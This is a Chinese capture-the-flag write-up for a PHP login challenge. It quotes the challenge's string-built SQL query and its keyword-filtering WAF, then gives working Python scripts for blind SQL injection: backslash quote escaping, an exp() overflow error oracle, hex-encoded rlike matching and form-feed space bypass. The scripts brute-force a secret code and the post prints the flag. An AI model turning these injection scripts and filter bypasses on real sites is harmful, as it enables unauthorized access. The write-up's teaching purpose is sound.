这是五月份的题目了,但是一直没写wp,拿出来再水一遍,自己写一遍脚本,顺便总结一下知识点(
解题过程 总览 附件直接给了源码,重点看SQL语句的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function login ($username ,$password ,$code ) { $res = $this ->conn->query("select * from users where username='$username ' and password='$password '" ); if ($this ->conn->error){ return 'error' ; } else { $content = $res ->fetch_array(); if ($content ['code' ]===$_POST ['code' ]){ $_SESSION ['username' ] = $content ['username' ]; return 'success' ; } else { return 'fail' ; } } } }
语句直接拼接,很容易想到SQL注入
但是接着往下看,会发现写了waf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 function sql_waf ($str ) { if (preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i' , $str )){ die ('Hack detected' ); } }function num_waf ($str ) { if (preg_match('/\d{9}|0x[0-9a-f]{9}/i' ,$str )){ die ('Huge num detected' ); } }function array_waf ($arr ) { foreach ($arr as $key => $value ) { if (is_array($value )){ array_waf($value ); } else { sql_waf($value ); num_waf($value ); } } }
sql_waf过滤了一堆语法
num_waf则过滤了大数字
如何注入 先看看究竟过滤了哪些东西
1 2 preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i' , $str ) preg_match('/\d{9}|0x[0-9a-f]{9}/i' ,$str )
然后把login功能里面的查询语句拿出来单独看看
1 $res = $this ->conn->query("select * from users where username='$username ' and password='$password '" );
单引号过滤了,但是仔细一看没过滤\,构造username=name\可以把后面的单引号转义掉,然后再通过在password里加注释符达到万能密码的效果
不过发现code是单独验证的,所以此处要通过注入来拿到code
溢出注入 顾名思义,通过溢出引发报错来进行注入
虽然preg_match过滤掉了大数字,不过我们仍然可以通过exp函数来进行溢出
exp(pow)返回e的pow次方
当exp()的参数大于709时就会造成溢出,报错
回显login fail
回显error
获取code长度 既然exp()的参数大于709就会error,我们可以通过这个特性来获取code的长度。
通过回显来间接得到length(code)的值,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport string url="http://2332ef01-e3b2-4f52-b807-3f5a432dc457.node4.buuoj.cn/login.php" def getlen (): for i in range (99 ): payload = "||exp(%d-length(code))#" %(709 +i) data = { "username" : "ibuki\\" , "password" : payload, "code" : "1" } r = requests.post(url, data=data, allow_redirects=False ) if not 'fail' in r.text: print ("code len:%d" %(i-1 )) return getlen()
运行结果
得到code长度为23
rlike语句
在MySQL中,RLIKE运算符用于确定字符串是否匹配正则表达式。它是REGEXP_LIKE()的同义词。
如果字符串与提供的正则表达式匹配,则结果为1,否则为0。
此处我们可以构造password为
1 password=||exp(710 -(code rlike xxx))
这样,当rlike语句成功匹配时会返回login fail,否则返回error
关于空格的绕过
本题可以通过chr(0x0c)绕过
——–by naman
单引号过滤 通过binary语法将需要匹配的字符串转成十六进制形式即可
数字大小限制 本题难点之一:不管是十六进制还是十进制数字,都不能达到9位。
十六进制下按两位一个字符来算,也就是一次最多只能匹配四个字符,而code有23位,怎么解决这个问题呢?
先通过构造’^xxx’匹配开头,可以得到开头的前三个字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport string url="http://2332ef01-e3b2-4f52-b807-3f5a432dc457.node4.buuoj.cn/login.php" thelist=string.digits+string.ascii_uppercase+string.ascii_lowercasedef hexer (str ): ret='0x' for char in str : ret=ret+hex (ord (char))[2 :] return retdef guessstart (): guess='^' for i in range (3 ): for c in thelist: payload="||exp(710-(code rlike binary " +hexer(guess+c)+"))#" payload=payload.replace(' ' ,chr (0x0c )) data = { "username" : "ibuki\\" , "password" : payload, "code" : "1" } r = requests.post(url,data=data,allow_redirects=False ) if 'fail' in r.text: guess+=c print (guess) continue guessstart()
运行结果
得到前三个字符erg
然后这里的思路是,通过已有的三个字符,加上猜测的第四个字符,来进行匹配。不过稍微想一下就知道:因为只能得知是否匹配成功,不知道匹配成功的位置,所以这种匹配方式可能会出现多解。
这里采用了枚举所有可能性的方法,即将每一步的可能性都存下来分别进行再次匹配,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import requestsimport string url="http://2332ef01-e3b2-4f52-b807-3f5a432dc457.node4.buuoj.cn/login.php" thelist=string.digits+string.ascii_uppercase+string.ascii_lowercasedef next (str ): ret=[] for c in thelist: payload = "||exp(710-(code rlike binary " + hexer(str [-3 :] + c) + "))#" payload = payload.replace(' ' , chr (0x0c )) data = { "username" : "ibuki\\" , "password" : payload, "code" : "1" } while True : r = requests.post(url, data=data, allow_redirects=False ) if not ('Too Many Requests' in r.text): break if 'fail' in r.text: ret.append(str +c) return retdef getcode (): allthefates=['erg' ] for t in range (20 ): nextfates=[] for fate in allthefates: possibility = next (fate) for i in possibility: nextfates.append(i) allthefates=nextfates print (allthefates) getcode()
最后得到了三个code,试了一下,第一个就是对的
利用万能密码和code登录后拿到flag
flag{44a15053-28e7-4e08-b076-53ac06b103c1}
感想和总结 当时和naman交流了一下思路之后看他打了一遍,感觉会了
今天自己打一遍发现怎么这么多问题……
比如用python来POST过去的话,换页符不能用%0c只能用chr(0x0c)
比如一开始脚本爆不出来我还以为是我写错了,de了半天bug发现是请求过于频繁429了……
SQL注入的脚本实在是没怎么写过,代码水平属于是很差了
还是得多打点代码锻炼一下